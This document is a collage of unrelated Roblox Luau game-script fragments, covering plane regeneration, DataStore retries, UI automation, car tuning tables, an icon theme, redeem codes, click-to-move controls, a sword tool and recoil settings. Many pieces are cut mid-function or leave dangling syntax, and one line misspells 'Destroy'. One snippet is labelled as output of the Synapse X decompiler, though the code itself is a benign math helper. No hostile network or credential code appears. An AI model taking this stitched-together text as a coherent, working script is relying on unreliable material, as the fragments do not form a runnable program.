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-- Another tip click Terrain then Decoration makesure to check it and turn it on!!! (MORE GRASS DETAIL)
script.Parent:Destory()
--------------------------------------------------------
function DeleteIdlePlane() --This deletes any planes that aren't currently being used for _,v in pairs(Planekit:GetChildren()) do if v.Name == "Plane" then v:Destroy() end end end function RegenMain() --This function regens the plane local PlaneClone2 = PlaneClone:clone() PlaneClone2.Parent = Planekit PlaneClone2.Origin.Value = Planekit PlaneClone2:MakeJoints() return PlaneClone2 end function RegeneratePlane(Part) --This is the main regenerating function local Player = game.Players:GetPlayerFromCharacter(Part.Parent) --This gets the player that touched it if Player then if Active then Active = false DeleteIdlePlane() --This activates the "DeleteIdlePlane" function for i = 0,1,0.2 do --This makes the button transparent Main.Transparency = i wait() end if RegenTime >= 1 then RegenGui.Parent = Player.PlayerGui --The regengui will be put into the player if the regentime is more than 1 end wait(RegenTime) RegenGui.Parent = script --This puts the gui back in the script local PlaneClone2 = RegenMain() if EnterOnSpawn.Value then --If the EnterOnSpawn value is true... coroutine.resume(coroutine.create(function() repeat wait() until PlaneClone2.Welded.Value onPlaneWelded(Player,PlaneClone2) --This activates the "onPlaneWelded" function whenever the welded value changes end)) end wait(WaitTime) for i = 1,0,-0.2 do --This makes the button visible Main.Transparency = i wait() end Active = true end end end function onPlaneWelded(Player,Plane) --This function put you into the plane seat the moment the plane is welded if Plane and Player then --This checks to make sure there is a plane and a player if Player.Character:findFirstChild("Torso") then Player.Character.Torso.CFrame = Plane.MainParts.Seat.CFrame end end end Main.Touched:connect(RegeneratePlane) --This activates the "RegeneratePlane" function when the Main brick is touched
--[[ wait(3) tween:Play() wait(1) frame.Visible = false]]
end)
-- << FUNCTIONS >>
function module:GetData(dataStore, datastoreRetries, key) return module:DataStoreRetry(datastoreRetries, function() return dataStore:GetAsync(key) end) end function module:DataStoreRetry(datastoreRetries, dataStoreFunction) local tries = 0 local success = true local data = nil local errorMsg = "" repeat tries = tries + 1 success, errorMsg = pcall(function() data = dataStoreFunction() end) if not success then wait(1) end until tries == datastoreRetries or success if not success then --warn("HD Admin | Could not access DataStore | ".. tostring(errorMsg)) -- Cannot access DataStore end return success, data end return module
-- Decompiled with the Synapse X Luau decompiler.
local u1 = nil; coroutine.wrap(function() u1 = require(game.ReplicatedStorage:WaitForChild("Framework"):WaitForChild("Library")); end)(); return function(p1, p2) return u1.Functions.RadDeltaUnsafe(u1.Functions.RadNorm(p1), u1.Functions.RadNorm(p2)); end;
--Jitler is Pogi
local Sound = script.Parent.Sound local Tada = Sound.Tada local StarterGui = game:GetService("StarterGui") StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.All, true) local Frame = script.Parent.MainFrame local hit = false game.Workspace.Map.Pad.Touched:connect(function(part) wait(.3) if part.Parent.Name == game.Players.LocalPlayer.Name then if not hit then hit = true part.Parent.Humanoid.WalkSpeed = 0 script.Parent.ImageLabel:TweenPosition(UDim2.new(0.5, 0, 0, 0), "Out", "Quint", 1) script.Parent.ImageLabel2:TweenPosition(UDim2.new(0, 0, 0, 0), "Out", "Quint", 1) wait(0.7) StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.All, false) spawn(function() wait(.3) Frame.Visible = true end) wait(1.5) script.Parent.ImageLabel:TweenPosition(UDim2.new(0.5, 1000, 0, 0), "In", "Quint", 1) script.Parent.ImageLabel2:TweenPosition(UDim2.new(0, -1000, 0, 0), "In", "Quint", 1) spawn(function() wait(.2) Tada:Play() end) wait(1) script.Parent.ImageLabel.Visible = false script.Parent.ImageLabel2.Visible = false end end end)
-- first reset scrollingFrame to zero position
scrollingFrame.CanvasPosition = Vector2.new(0, 0) local width = scrollingFrame.AbsoluteSize.X local height = scrollingFrame.AbsoluteSize.Y local isBottom = false local instance local threshold = 2 while not isBottom do wait(0.1) --if find the element then return instance = absPath:getFirstInstance() if instance then return instance end --scroll local oldPosition = scrollingFrame.CanvasPosition scrollingFrame.CanvasPosition = scrollingFrame.CanvasPosition + Vector2.new(math.min(width, 300), math.min(height, 300)) --wait for content to refresh local delta = scrollingFrame.CanvasPosition - oldPosition isBottom = delta.Magnitude < threshold --if it is the bottom, then return not found end return nil end function Element:centralizeWithInfiniteScrolling() local instances, lastSeenIndex = self.path:getInstances() if #instances > 0 then self:centralizeInstance() end local lastSeenPath = self.path:copy() while #lastSeenPath.data > lastSeenIndex do table.remove(lastSeenPath.data) end local lastSeenInstance = lastSeenPath:getFirstInstance() local lastScrollingFrame = nil while true do if lastSeenInstance.ClassName == "ScrollingFrame" then lastScrollingFrame = lastSeenInstance break end lastSeenInstance = lastSeenInstance.Parent if lastSeenInstance == game then break end end if lastScrollingFrame == nil then return end if self:_scrollToFindInstance(lastScrollingFrame, self.path) == nil then return end self:_centralizeInScrollingFrame(self:getRbxInstance()) end function Element:setPluginWindow() local window = self.rbxInstance:FindFirstAncestorOfClass("DockWidgetPluginGui") VirtualInput.setCurrentWindow(window) end function Element:click(repeatCount) self:centralize() self:setPluginWindow() repeatCount = repeatCount or 1 VirtualInput.Mouse.multiClick(self:getAnchor(), repeatCount) end function Element:rightClick() self:centralize() self:setPluginWindow() VirtualInput.Mouse.rightClick(self:getAnchor()) end function Element:mouseWheel(num) self:centralize() VirtualInput.Mouse.mouseWheel(self:getAnchor(), num) end function Element:mouseDrag(xOffset, yOffset, duration) self:centralize() local posTo = self:getAnchor() + Vector2.new(xOffset, yOffset) VirtualInput.Mouse.mouseDrag(self:getAnchor(), posTo, duration, true) end function Element:mouseDragTo(posTo, duration) self:centralize() VirtualInput.Mouse.mouseDrag(self:getAnchor(), posTo, duration, true) end function Element:sendKey(key) self:setPluginWindow() VirtualInput.Keyboard.hitKey(key) end function Element:sendText(str) self:click() wait(0) VirtualInput.Text.sendText(str) end function Element:tap() self:centralize() VirtualInput.Touch.tap(self:getAnchor()) end function Element:touchScroll(xOffset, yOffset, duration, multitouchId) self:centralize() VirtualInput.Touch.touchScroll(self:getAnchor(), xOffset, yOffset, duration, true, multitouchId) end return Element
--this script has been optimized by oozlebachr's optimizer !!!!
--Serverside logic
Event.OnServerEvent:Connect(function(player,ExhaustParticle,FireBool) print("ExhaustParticle") if FireBool then local RanNum = tostring(math.random(1,3)) ExhaustPart["Backfire"..RanNum]:Play() ExhaustPart2["Backfire"..RanNum]:Play() ExhaustPart.PointLight.Enabled = true ExhaustPart2.PointLight.Enabled = true ExhaustPart[ExhaustParticle].Enabled = true ExhaustPart2[ExhaustParticle].Enabled = true if ExhaustParticle == "FlamesSmall" then ExhaustPart.PointLight.Range = 6 ExhaustPart2.PointLight.Range = 6 ExhaustPart.PointLight.Brightness = 5 ExhaustPart2.PointLight.Brightness = 5 ExhaustPart.Sparks.Enabled = false ExhaustPart2.Sparks.Enabled = false else ExhaustPart.PointLight.Range = 8 ExhaustPart2.PointLight.Range = 8 ExhaustPart.PointLight.Brightness = 12 ExhaustPart2.PointLight.Brightness = 12 ExhaustPart.Sparks.Enabled = true ExhaustPart2.Sparks.Enabled = true end else ExhaustPart[ExhaustParticle].Enabled = false ExhaustPart2[ExhaustParticle].Enabled = false ExhaustPart.PointLight.Enabled = false ExhaustPart2.PointLight.Enabled = false end end)
--[[ Local Functions ]]
-- function MouseLockController:OnMouseLockToggled() self.isMouseLocked = not self.isMouseLocked if self.isMouseLocked then local cursorImageValueObj: StringValue? = script:FindFirstChild("CursorImage") :: StringValue? if cursorImageValueObj and cursorImageValueObj:IsA("StringValue") and cursorImageValueObj.Value then CameraUtils.setMouseIconOverride(cursorImageValueObj.Value) else if cursorImageValueObj then cursorImageValueObj:Destroy() end cursorImageValueObj = Instance.new("StringValue") assert(cursorImageValueObj, "") cursorImageValueObj.Name = "CursorImage" cursorImageValueObj.Value = DEFAULT_MOUSE_LOCK_CURSOR cursorImageValueObj.Parent = script CameraUtils.setMouseIconOverride(DEFAULT_MOUSE_LOCK_CURSOR) end else CameraUtils.restoreMouseIcon() end self.mouseLockToggledEvent:Fire() end function MouseLockController:DoMouseLockSwitch(name, state, input) if state == Enum.UserInputState.Begin then self:OnMouseLockToggled() return Enum.ContextActionResult.Sink end return Enum.ContextActionResult.Pass end function MouseLockController:BindContextActions() ContextActionService:BindActionAtPriority(CONTEXT_ACTION_NAME, function(name, state, input) return self:DoMouseLockSwitch(name, state, input) end, false, MOUSELOCK_ACTION_PRIORITY, unpack(self.boundKeys)) end function MouseLockController:UnbindContextActions() ContextActionService:UnbindAction(CONTEXT_ACTION_NAME) end function MouseLockController:IsMouseLocked(): boolean return self.enabled and self.isMouseLocked end function MouseLockController:EnableMouseLock(enable: boolean) if enable ~= self.enabled then self.enabled = enable if self.enabled then -- Enabling the mode self:BindContextActions() else -- Disabling -- Restore mouse cursor CameraUtils.restoreMouseIcon() self:UnbindContextActions() -- If the mode is disabled while being used, fire the event to toggle it off if self.isMouseLocked then self.mouseLockToggledEvent:Fire() end self.isMouseLocked = false end end end return MouseLockController
--[[Transmission]]
Tune.TransModes = {"Auto", "Semi", "Manual"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]] --Automatic Settings Tune.AutoShiftMode = "Speed" --[[ [Modes] "Speed" : Shifts based on wheel speed "RPM" : Shifts based on RPM ]] Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev) Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev) --Gear Ratios Tune.FinalDrive = 4.06 -- Gearing determines top speed and wheel torque Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed --[[Reverse]] 3.70 , -- Copy and paste a ratio to add a gear --[[Neutral]] 0 , -- Ratios can also be deleted --[[ 1 ]] 3.53 , -- Reverse, Neutral, and 1st gear are required --[[ 2 ]] 2.04 , --[[ 3 ]] 1.38 , --[[ 4 ]] 1.03 , --[[ 5 ]] 0.81 , --[[ 6 ]] 0.64 , --[[ 7 ]] 0.49 , --[[ 8 ]] 0.40 , } Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
--[[Brakes]]
Tune.ABSEnabled = false -- Implements ABS Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS) Tune.FBrakeForce = 1200 -- Front brake force Tune.RBrakeForce = 1600 -- Rear brake force Tune.PBrakeForce = 6000 -- Handbrake force Tune.FLgcyBForce = 15000 -- Front brake force [PGS OFF] Tune.RLgcyBForce = 10000 -- Rear brake force [PGS OFF] Tune.LgcyPBForce = 25000 -- Handbrake force [PGS OFF]
-- -- Top Hint -- -- * This is a string of text that's top-centered in the window. (White text on black background) -- * It should be used for messages from the client, and never from the place creator. -- -- FEATURES: -- * Auto-hides previous messages before showing yours. -- * Always centered, regardless of length. -- * Clicking the message hides it. -- -- USE IT FOR: -- * Quick task-related (non-essential) hints -- * Showing the current modal state -- * Tool hints (for the currently equipped tool) -- * Keyboard shortcuts -- -- NEVER USE IT FOR: -- * Essential information (Use a popup instead) -- * Messages from users or place creators. This is for client messages only. -- -- ARGUMENTS: -- Label: The message -- Width: Text and background width (pixels) -- This should be removed when textWidth is added to Lua -- Time: Seconds before hiding itself (If 0, it never hides) -- -- USAGE:
local topHint = script.Parent.topHint -- path to topHint ScreenGui topHint.Add.Label.Value = "Press D to return to main menu." topHint.Add.Width.Value = 290 topHint.Add.Time.Value = 7 topHint.Add.Disabled = true -- flip it off then on, in case it's currently running. topHint.Add.Disabled = false
--[[ This file is necessary for constructing the default Icon template Do not remove this module otherwise TopbarPlus will break Modifying this file may also cause TopbarPlus to break It's recommended instead to create a separate theme module and use that instead To apply your theme after creating it, do: ```lua local IconController = require(pathway.to.IconController) local Themes = require(pathway.to.Themes) IconController.setGameTheme(Themes.YourThemeName) ``` or by applying to an individual icon: ```lua local Icon = require(pathway.to.Icon) local Themes = require(pathway.to.Themes) local newIcon = Icon.new() :setTheme(Themes.YourThemeName) ``` --]]
return { -- Settings which describe how an item behaves or transitions between states action = { toggleTransitionInfo = TweenInfo.new(0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), resizeInfo = TweenInfo.new(0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), repositionInfo = TweenInfo.new(0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), captionFadeInfo = TweenInfo.new(0.1, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), tipFadeInfo = TweenInfo.new(0.1, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), dropdownSlideInfo = TweenInfo.new(0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), menuSlideInfo = TweenInfo.new(0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), }, -- Settings which describe how an item appears when 'deselected' and 'selected' toggleable = { -- How items appear normally (i.e. when they're 'deselected') deselected = { iconBackgroundColor = Color3.fromRGB(32, 37, 45), iconBackgroundTransparency = 0.5, iconCornerRadius = UDim.new(0.25, 0), iconGradientColor = ColorSequence.new(Color3.fromRGB(208, 208, 208),Color3.fromRGB(255, 255, 255)), iconGradientRotation = 90, iconImage = "", iconImageColor =Color3.fromRGB(255, 255, 255), iconImageTransparency = 0, iconImageYScale = 0.63, iconImageRatio = 1, iconLabelYScale = 0.45, iconScale = UDim2.new(1, 0, 1, 0), forcedIconSize = UDim2.new(0, 32, 0, 32); iconSize = UDim2.new(0, 32, 0, 32), iconOffset = UDim2.new(0, 0, 0, 0), iconText = "", iconTextColor = Color3.fromRGB(255, 255, 255), iconFont = Enum.Font.GothamSemibold, noticeCircleColor = Color3.fromRGB(255, 255, 255), noticeCircleImage = "http://www.roblox.com/asset/?id=4871790969", noticeTextColor = Color3.fromRGB(31, 33, 35), baseZIndex = 1, order = 1, alignment = "left", clickSoundId = "rbxassetid://5273899897", clickVolume = 0, clickPlaybackSpeed = 1, clickTimePosition = 0.12 }, -- How items appear after the icon has been clicked (i.e. when they're 'selected') -- If a selected value is not specified, it will default to the deselected value selected = { iconBackgroundColor = Color3.fromRGB(52, 68, 99), iconBackgroundTransparency = 0.1, iconGradientRotation = 270, iconImageColor = Color3.fromRGB(57, 60, 65), iconTextColor = Color3.fromRGB(57, 60, 65), clickPlaybackSpeed = 1.5, } }, -- Settings where toggleState doesn't matter (they have a singular state) other = { -- Caption settings captionBackgroundColor = Color3.fromRGB(0, 0, 0), captionBackgroundTransparency = 0.5, captionTextColor = Color3.fromRGB(255, 255, 255), captionTextTransparency = 0, captionFont = Enum.Font.Code, captionOverlineColor = Color3.fromRGB(0, 170, 255), captionOverlineTransparency = 0, captionCornerRadius = UDim.new(0.25, 0), -- Tip settings tipBackgroundColor = Color3.fromRGB(255, 255, 255), tipBackgroundTransparency = 0.1, tipTextColor = Color3.fromRGB(27, 42, 53), tipTextTransparency = 0, tipFont = Enum.Font.Code, tipCornerRadius = UDim.new(0.175, 0), -- Dropdown settings dropdownAlignment = "auto", -- 'left', 'mid', 'right' or 'auto' (auto is where the dropdown alignment matches the icons alignment) dropdownMaxIconsBeforeScroll = 3, dropdownMinWidth = 32, dropdownSquareCorners = false, dropdownBindToggleToIcon = true, dropdownToggleOnLongPress = false, dropdownToggleOnRightClick = false, dropdownCloseOnTapAway = false, dropdownHidePlayerlistOnOverlap = true, dropdownListPadding = UDim.new(0, 2), dropdownScrollBarColor = Color3.fromRGB(25, 25, 25), dropdownScrollBarTransparency = 0.2, dropdownScrollBarThickness = 4, -- Menu settings menuDirection = "auto", -- 'left', 'right' or 'auto' (for auto, if alignment is 'left' or 'mid', menuDirection will be 'right', else menuDirection is 'left') menuMaxIconsBeforeScroll = 4, menuBindToggleToIcon = true, menuToggleOnLongPress = false, menuToggleOnRightClick = false, menuCloseOnTapAway = false, menuScrollBarColor = Color3.fromRGB(25, 25, 25), menuScrollBarTransparency = 0.2, menuScrollBarThickness = 4, }, }
--Hello! I have known this script for a long time now, but never thought about making a script -- from it.Hope you enjoy.--
pos = script.Parent.Position pos = Vector3.new(pos.x, pos.y-0.2, pos.z) x = 0 z = 0 T = -99999 tall = script.Parent.Size.Y / 2 math.randomseed(tick()) rand = (math.random(0,20))/10 while true do x = pos.x + (math.sin(T + (pos.x/5)) * math.sin(T/9))/3 z = pos.z + (math.sin(T + (pos.z/6)) * math.sin(T/12))/4 script.Parent.CFrame = CFrame.new(x, pos.y, z) * CFrame.Angles((z-pos.z)/tall, 0,(x-pos.x)/-tall) wait() T = T + 0.005 end
-- print(PId)
local button = script.Parent -- обозначение к чему привязан наш скрипт button.MouseButton1Down:Connect(function() -- print("PId:",PId) local player = players.LocalPlayer -- локальный игрок local a=MS:PromptProductPurchase(player,PId) -- выполнение запроса покупки -- print("Покупка:",a) end)
--Codes
local codelist = { code1 = "ROBLOX", -- Always put a comma every timne you're going to add another code code2 = "Release" } script.Parent.MouseButton1Click:Connect(function() if script.Parent.Parent.CodeHandler.Text == codelist.code1 then -- Im gonna add an expiration in this code if date["month"] == 8 and date["day"] <= 3 then -- Months are in numerical order .Month and Day must be in lowercase letters. Use "<=" If you want to make your code valid until that date. Use "==" if you want to make your code valid only on that date. if not codes:FindFirstChild("Code1") then -- This one here RE:FireServer(500, "Code1") -- The string must be the same as in the top. For now I can reward the player, cash. Until I can learn how to save tools. script.Parent.Text = "Code redeemed successfully!" script.Parent.Parent.CodeHandler.Text = "" -- Removes the text in our code handler textbox wait(2) script.Parent.Text = "Redeem Code" else script.Parent.Text = "Code already redeemed!" wait(2) script.Parent.Text = "Redeem Code" end else script.Parent.Text = "Code expired!" wait(2) script.Parent.Text = "Redeem Code" end elseif script.Parent.Parent.CodeHandler.Text == codelist.code2 then -- Your second code. So if our textbox matches the code in our dictionary... if not codes:FindFirstChild("Code2") then -- This one here RE:FireServer(25000, "Code2") -- The string must be the same as in the top. For now I can reward the player, cash. Until I can learn how to save tools. script.Parent.Text = "Code redeemed successfully!" script.Parent.Parent.CodeHandler.Text = "" wait(2) script.Parent.Text = "Redeem Code" else script.Parent.Text = "Code already redeemed!" wait(2) script.Parent.Text = "Redeem Code" end else script.Parent.Text = "Code invalid!" script.Parent.Parent.CodeHandler.Text = "" wait(2) script.Parent.Text = "Redeem Code" end end)
--[[ The ClickToMove Controller Class ]]
-- local KeyboardController = require(script.Parent:WaitForChild("Keyboard")) local ClickToMove = setmetatable({}, KeyboardController) ClickToMove.__index = ClickToMove function ClickToMove.new(CONTROL_ACTION_PRIORITY) local self = setmetatable(KeyboardController.new(CONTROL_ACTION_PRIORITY), ClickToMove) self.fingerTouches = {} self.numUnsunkTouches = 0 -- PC simulation self.mouse1Down = tick() self.mouse1DownPos = Vector2.new() self.mouse2DownTime = tick() self.mouse2DownPos = Vector2.new() self.mouse2UpTime = tick() self.tapConn = nil self.inputBeganConn = nil self.inputChangedConn = nil self.inputEndedConn = nil self.humanoidDiedConn = nil self.characterChildAddedConn = nil self.onCharacterAddedConn = nil self.characterChildRemovedConn = nil self.renderSteppedConn = nil self.humanoidSeatedConn = nil self.running = false self.wasdEnabled = false return self end function ClickToMove:DisconnectEvents() DisconnectEvent(self.tapConn) DisconnectEvent(self.inputBeganConn) DisconnectEvent(self.inputChangedConn) DisconnectEvent(self.inputEndedConn) DisconnectEvent(self.humanoidDiedConn) DisconnectEvent(self.characterChildAddedConn) DisconnectEvent(self.onCharacterAddedConn) DisconnectEvent(self.renderSteppedConn) DisconnectEvent(self.characterChildRemovedConn) -- TODO: Resolve with ControlScript handling of seating for vehicles DisconnectEvent(self.humanoidSeatedConn) RunService:UnbindFromRenderStep("ClickToMoveRenderUpdate") end function ClickToMove:OnTouchBegan(input, processed) if self.fingerTouches[input] == nil and not processed then self.numUnsunkTouches = self.numUnsunkTouches + 1 end self.fingerTouches[input] = processed end function ClickToMove:OnTouchChanged(input, processed) if self.fingerTouches[input] == nil then self.fingerTouches[input] = processed if not processed then self.numUnsunkTouches = self.numUnsunkTouches + 1 end end end function ClickToMove:OnTouchEnded(input, processed) if self.fingerTouches[input] ~= nil and self.fingerTouches[input] == false then self.numUnsunkTouches = self.numUnsunkTouches - 1 end self.fingerTouches[input] = nil end function ClickToMove:OnCharacterAdded(character) self:DisconnectEvents() self.inputBeganConn = UserInputService.InputBegan:Connect(function(input, processed) if input.UserInputType == Enum.UserInputType.Touch then self:OnTouchBegan(input, processed) -- Give back controls when they tap both sticks local wasInBottomLeft = IsInBottomLeft(input.Position) local wasInBottomRight = IsInBottomRight(input.Position) if wasInBottomRight or wasInBottomLeft then for otherInput, _ in pairs(self.fingerTouches) do if otherInput ~= input then local otherInputInLeft = IsInBottomLeft(otherInput.Position) local otherInputInRight = IsInBottomRight(otherInput.Position) if otherInput.UserInputState ~= Enum.UserInputState.End and ((wasInBottomLeft and otherInputInRight) or (wasInBottomRight and otherInputInLeft)) then if BindableEvent_OnFailStateChanged then BindableEvent_OnFailStateChanged:Fire(true) end return end end end end end -- Cancel path when you use the keyboard controls. if processed == false and input.UserInputType == Enum.UserInputType.Keyboard and movementKeys[input.KeyCode] then CleanupPath() end if input.UserInputType == Enum.UserInputType.MouseButton1 then self.mouse1DownTime = tick() self.mouse1DownPos = input.Position end if input.UserInputType == Enum.UserInputType.MouseButton2 then self.mouse2DownTime = tick() self.mouse2DownPos = input.Position end end) self.inputChangedConn = UserInputService.InputChanged:Connect(function(input, processed) if input.UserInputType == Enum.UserInputType.Touch then self:OnTouchChanged(input, processed) end end) self.inputEndedConn = UserInputService.InputEnded:Connect(function(input, processed) if input.UserInputType == Enum.UserInputType.Touch then self:OnTouchEnded(input, processed) end if input.UserInputType == Enum.UserInputType.MouseButton2 then self.mouse2UpTime = tick() local currPos = input.Position if self.mouse2UpTime - self.mouse2DownTime < 0.25 and (currPos - self.mouse2DownPos).magnitude < 5 and self.moveVector.Magnitude<=0 then local positions = {currPos} OnTap(positions) end end end) self.tapConn = UserInputService.TouchTap:Connect(function(touchPositions, processed) if not processed then OnTap(touchPositions) end end) local function computeThrottle(dist) if dist > .2 then return 0.5+(dist^2)/2 else return 0 end end local lastSteer = 0 --kP = how much the steering corrects for the current error in driving angle --kD = how much the steering corrects for how quickly the error in driving angle is changing local kP = 1 local kD = 0.5 local function getThrottleAndSteer(object, point) local throttle, steer = 0, 0 local oCF = object.CFrame local relativePosition = oCF:pointToObjectSpace(point) local relativeZDirection = -relativePosition.z local relativeDistance = relativePosition.magnitude -- throttle quadratically increases from 0-1 as distance from the selected point goes from 0-50, after 50, throttle is 1. -- this allows shorter distance travel to have more fine-tuned control. throttle = computeThrottle(math.min(1,relativeDistance/50))*math.sign(relativeZDirection) local steerAngle = -math.atan2(-relativePosition.x, -relativePosition.z) steer = steerAngle/(math.pi/4) local steerDelta = steer - lastSteer lastSteer = steer local pdSteer = kP * steer + kD * steer return throttle, pdSteer end local function Update() if CurrentSeatPart then if DrivingTo then local throttle, steer = getThrottleAndSteer(CurrentSeatPart, DrivingTo) CurrentSeatPart.ThrottleFloat = throttle CurrentSeatPart.SteerFloat = steer else CurrentSeatPart.ThrottleFloat = 0 CurrentSeatPart.SteerFloat = 0 end end local cameraPos = workspace.CurrentCamera.CFrame.p for i = 1, #activePopups do local popup = activePopups[i] popup.CFrame = CFrame.new(popup.CFrame.p, cameraPos) end end RunService:BindToRenderStep("ClickToMoveRenderUpdate",Enum.RenderPriority.Camera.Value - 1,Update) local function OnCharacterChildAdded(child) if UserInputService.TouchEnabled then if child:IsA('Tool') then child.ManualActivationOnly = true end end if child:IsA('Humanoid') then DisconnectEvent(self.humanoidDiedConn) self.humanoidDiedConn = child.Died:Connect(function() if ExistingIndicator then DebrisService:AddItem(ExistingIndicator.Model, 1) end end) end end self.characterChildAddedConn = character.ChildAdded:Connect(function(child) OnCharacterChildAdded(child) end) self.characterChildRemovedConn = character.ChildRemoved:Connect(function(child) if UserInputService.TouchEnabled then if child:IsA('Tool') then child.ManualActivationOnly = false end end end) for _, child in pairs(character:GetChildren()) do OnCharacterChildAdded(child) end end function ClickToMove:Start() self:Enable(true) end function ClickToMove:Stop() self:Enable(false) end function ClickToMove:Enable(enable, enableWASD) if enable then if not self.running then if Player.Character then -- retro-listen self:OnCharacterAdded(Player.Character) end self.onCharacterAddedConn = Player.CharacterAdded:Connect(function(char) self:OnCharacterAdded(char) end) self.running = true end else if self.running then self:DisconnectEvents() CleanupPath() -- Restore tool activation on shutdown if UserInputService.TouchEnabled then local character = Player.Character if character then for _, child in pairs(character:GetChildren()) do if child:IsA('Tool') then child.ManualActivationOnly = false end end end end DrivingTo = nil self.running = false end end -- Extension for initializing Keyboard input as this class now derives from Keyboard if UserInputService.KeyboardEnabled and enable ~= self.enabled then self.forwardValue = 0 self.backwardValue = 0 self.leftValue = 0 self.rightValue = 0 self.moveVector = ZERO_VECTOR3 if enable then self:BindContextActions() self:ConnectFocusEventListeners() else self:UnbindContextActions() self:DisconnectFocusEventListeners() end end self.wasdEnabled = enable and enableWASD or false self.enabled = enable end
-- Roact
local new = Roact.createElement local Tooltip = require(script.Parent:WaitForChild('Tooltip'))
-------- OMG HAX
r = game:service("RunService") local damage = 20 local slash_damage = 18 local lunge_damage = 36 sword = script.Parent.Handle Tool = script.Parent local SlashSound = Instance.new("Sound") SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav" SlashSound.Parent = sword SlashSound.Volume = .7 local LungeSound = Instance.new("Sound") LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav" LungeSound.Parent = sword LungeSound.Volume = .6 local UnsheathSound = Instance.new("Sound") UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav" UnsheathSound.Parent = sword UnsheathSound.Volume = 1 function DarkKill(character, humanoid, attacker) if (character:FindFirstChild("ForceField") ~= nil) then return end local childs = character:GetChildren() local colors = {} tagHumanoid(humanoid, attacker) humanoid.Health = 0 for i=1,#childs do if (childs[i].className == "Part") then colors[i] = childs[i].BrickColor childs[i].BrickColor = BrickColor.new(26) childs[i].CanCollide = true childs[i].Anchored = true end end wait(.25) for i=1,#childs do if (childs[i].className == "Part") then local b = Instance.new("BodyVelocity") b.velocity = Vector3.new(math.random() - .5, 0, math.random() - .5).unit * 80 b.maxForce = Vector3.new(1e5,1e5,1e5) b.Parent = childs[i] end end for i=1,#childs do if (childs[i].className == "Part") then childs[i].Anchored = false end end end function blow(hit) local humanoid = hit.Parent:findFirstChild("Humanoid") local vCharacter = Tool.Parent local vPlayer = game.Players:playerFromCharacter(vCharacter) local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character if humanoid~=nil and humanoid ~= hum and hum ~= nil then -- final check, make sure sword is in-hand local right_arm = vCharacter:FindFirstChild("Right Arm") if (right_arm ~= nil) then local joint = right_arm:FindFirstChild("RightGrip") if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then hum.Health = hum.Health + (damage * .4) if humanoid.Health > damage then tagHumanoid(humanoid, vPlayer) humanoid:TakeDamage(damage) else DarkKill(humanoid.Parent, humanoid, vPlayer) end end end end end function tagHumanoid(humanoid, player) local creator_tag = Instance.new("ObjectValue") creator_tag.Value = player creator_tag.Name = "creator" creator_tag.Parent = humanoid game.Debris:AddItem(creator_tag, 1) end function attack() damage = slash_damage SlashSound:play() local anim = Instance.new("StringValue") anim.Name = "toolanim" anim.Value = "Slash" anim.Parent = Tool end function lunge() damage = lunge_damage LungeSound:play() local anim = Instance.new("StringValue") anim.Name = "toolanim" anim.Value = "Lunge" anim.Parent = Tool local force = Instance.new("BodyVelocity") force.velocity = Vector3.new(0,10,0) --Tool.Parent.Torso.CFrame.lookVector * 80 force.Parent = Tool.Parent.Torso wait(.25) swordOut() wait(.25) force.Parent = nil wait(.5) swordUp() damage = slash_damage end function swordUp() Tool.GripForward = Vector3.new(-1,0,0) Tool.GripRight = Vector3.new(0,1,0) Tool.GripUp = Vector3.new(0,0,1) end function swordOut() Tool.GripForward = Vector3.new(0,0,1) Tool.GripRight = Vector3.new(0,-1,0) Tool.GripUp = Vector3.new(-1,0,0) end function swordAcross() -- parry end Tool.Enabled = true local last_attack = 0 function onActivated() if not Tool.Enabled then return end Tool.Enabled = false local character = Tool.Parent; local humanoid = character.Humanoid if humanoid == nil then print("Humanoid not found") return end t = r.Stepped:wait() if (t - last_attack < .2) then lunge() else attack() end last_attack = t --wait(.5) Tool.Enabled = true end function onEquipped() UnsheathSound:play() end script.Parent.Activated:connect(onActivated) script.Parent.Equipped:connect(onEquipped) connection = sword.Touched:connect(blow)
---------------------------------------------------------------------------------------------------- -----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------ ----------------------------------------------------------------------------------------------------
,VRecoil = {4,6} --- Vertical Recoil ,HRecoil = {6,9} --- Horizontal Recoil ,AimRecover = .85 ---- Between 0 & 1 ,RecoilPunch = .15 ,VPunchBase = 3.25 --- Vertical Punch ,HPunchBase = 2.5 --- Horizontal Punch ,DPunchBase = 1 --- Tilt Punch | useless ,AimRecoilReduction = 5 --- Recoil Reduction Factor While Aiming (Do not set to 0) ,PunchRecover = 0.2 ,MinRecoilPower = .5 ,MaxRecoilPower = 3 ,RecoilPowerStepAmount = .25 ,MinSpread = 7 --- Min bullet spread value | Studs ,MaxSpread = 40 --- Max bullet spread value | Studs ,AimInaccuracyStepAmount = 1.5 ,WalkMultiplier = 0 --- Bullet spread based on player speed ,SwayBase = 0.25 --- Weapon Base Sway | Studs ,MaxSway = 1 --- Max sway value based on player stamina | Studs
-- regeneration --[[ while true do local s = wait(4) local health = Humanoid.Health if health > 0 and health < Humanoid.MaxHealth then health = health + 0.08 * s * Humanoid.MaxHealth if health * 1.05 < Humanoid.MaxHealth then Humanoid.Health = health else Humanoid.Health = Humanoid.MaxHealth end end end --]]
-- Apply some properties
